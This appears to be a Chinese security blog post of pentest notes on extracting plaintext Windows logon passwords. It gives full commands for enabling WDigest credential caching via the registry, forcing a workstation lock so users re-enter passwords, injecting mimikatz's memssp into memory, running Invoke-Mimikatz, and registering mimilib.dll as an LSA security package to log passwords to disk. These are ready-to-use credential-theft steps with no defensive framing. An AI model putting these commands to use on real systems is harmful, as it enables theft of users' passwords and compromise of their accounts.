获取Windows高版本明文密码

简介: 获取Windows高版本明文密码

0x01 前言

这篇文章来自朋友@Leafer(阿宝)日常测试笔记,文中没有过多介绍其理论知识,大家可以自己去学习了解一下!

0x02 改注册表(mimitaze存在免杀问题)

PASS:需要锁屏等方式


修改成记录明文密码

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f


    修改不记录明文密码

      reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f


      锁屏

        rundll32.exe user32.dll,LockWorkStation


        修改完之后使用命令锁屏,接下来等待用户再次登录一次就可以抓到了


        0x03 mimikatz插ssp记录密码

        PASS:需要锁屏等方式


        使用mimikatz的一个功能:

          privilege::debug、misc::memssp


          修改完之后使用以下命令锁屏,等用户进入后就可以在C:\Windows\System32\mimilsa.log里面存储登录的密码

            rundll32.exe user32.dll,LockWorkStation


            0x04 使用Invoke-Mimikatz.ps1

            PASS:需要锁屏等方式

              Import-Module .\Invoke-Mimikatz.ps1  //导入命令
              Invoke-Mimikatz -Command "misc::memssp"  //不需要重启获取 
              记录的明文密码存储在这个路径下

                凭据收集总结:
                https://cloud.tencent.com/developer/article/1656546


                0x05 复制mimilib.dll+修改注册表

                PASS:需要重新启动系统

                (1) 在mimikatz中有32和64两个版本,安装包里分别都带有不同位数的mimilib.dll

                (2) 将对应版本的dll文件复制到 c:\windows\system32下
                (3) 将以下注册表位置中Security Packages的值设置为mimilib.dll

                  reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f


                  (4) 等待系统重启后,在c:\windows\system32生成文件kiwissp.log,记录当前用户的明文口令

                  渗透技巧-通过CredSSP导出用户的明文口令:
                  https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87CredSSP%E5%AF%BC%E5%87%BA%E7%94%A8%E6%88%B7%E7%9A%84%E6%98%8E%E6%96%87%E5%8F%A3%E4%BB%A4/
                  相关文章
                  |
                  2天前
                  |
                  安全 网络安全 数据安全/隐私保护
                  Windows Server 2025 Active Directory 重置用户密码
                  密码重置是管理员日常任务之一,用户因忘记或多次输错密码导致账户锁定时需进行重置。本文介绍在Active Directory服务器上重置密码的三种方法。
                  |
                  6月前
                  |
                  Windows
                  如何查看自己电脑的windows系统版本?
                  这篇文章提供了一种简单快捷的方法来查看自己电脑的Windows系统版本,通过使用Windows的"运行"功能并输入`winver`命令来快速获取系统版本信息。
                  如何查看自己电脑的windows系统版本?
                  |
                  4月前
                  |
                  人工智能 JavaScript 网络安全
                  ToB项目身份认证AD集成(三完):利用ldap.js实现与windows AD对接实现用户搜索、认证、密码修改等功能 - 以及针对中文转义问题的补丁方法
                  本文详细介绍了如何使用 `ldapjs` 库在 Node.js 中实现与 Windows AD 的交互,包括用户搜索、身份验证、密码修改和重置等功能。通过创建 `LdapService` 类,提供了与 AD 服务器通信的完整解决方案,同时解决了中文字段在 LDAP 操作中被转义的问题。
                  110 1
                  |
                  5月前
                  |
                  安全 Java 应用服务中间件
                  Windows版本的Tomcat无法启动,如何处理?
                  Windows版本的Tomcat无法启动,如何处理?
                  412 14
                  |
                  4月前
                  |
                  并行计算 开发工具 异构计算
                  在Windows平台使用源码编译和安装PyTorch3D指定版本
                  【10月更文挑战第6天】在 Windows 平台上,编译和安装指定版本的 PyTorch3D 需要先安装 Python、Visual Studio Build Tools 和 CUDA(如有需要),然后通过 Git 获取源码。建议创建虚拟环境以隔离依赖,并使用 `pip` 安装所需库。最后,在源码目录下运行 `python setup.py install` 进行编译和安装。完成后即可在 Python 中导入 PyTorch3D 使用。
                  475 0
                  |
                  5月前
                  |
                  Windows
                  【收藏】每个Windows XP版本的缩写
                  【收藏】每个Windows XP版本的缩写
                  |
                  6月前
                  |
                  Ubuntu Linux 虚拟化
                  安装Windows Linux 子系统的方法:适用于windows 11 版本
                  本文提供了在Windows 11系统上安装Linux子系统(WSL)的详细步骤,包括启用子系统和虚拟化功能、从Microsoft Store安装Linux发行版、设置WSL默认版本、安装WSL2补丁,以及完成Ubuntu的首次安装设置。
                  1644 2
                  |
                  6月前
                  |
                  安全 数据安全/隐私保护 Windows
                  Windows 允许空密码远程桌面
                  Windows 允许空密码远程桌面
                  72 2
                  |
                  6月前
                  |
                  存储 数据可视化 Python
                  【python】python tkinter 计算器GUI版本(模仿windows计算器 源码)【独一无二】
                  【python】python tkinter 计算器GUI版本(模仿windows计算器 源码)【独一无二】
                  329 1
                  |
                  6月前
                  |
                  JavaScript 前端开发 Shell
                  mac和windows上安装nvm管理node版本
                  NVM(Node Version Manager)是前端开发者常用的命令行工具,用于管理计算机上的不同Node.js版本。通过NVM,开发者可以轻松地在多个项目间切换所需的Node.js版本。在Mac上,可以通过cURL或Wget下载安装脚本,或使用包管理工具brew安装。安装后需配置环境变量以识别NVM命令。Windows用户则可通过专用的nvm-windows安装程序完成安装。常用命令包括安装、卸载特定版本、列出已安装版本等。
                  372 0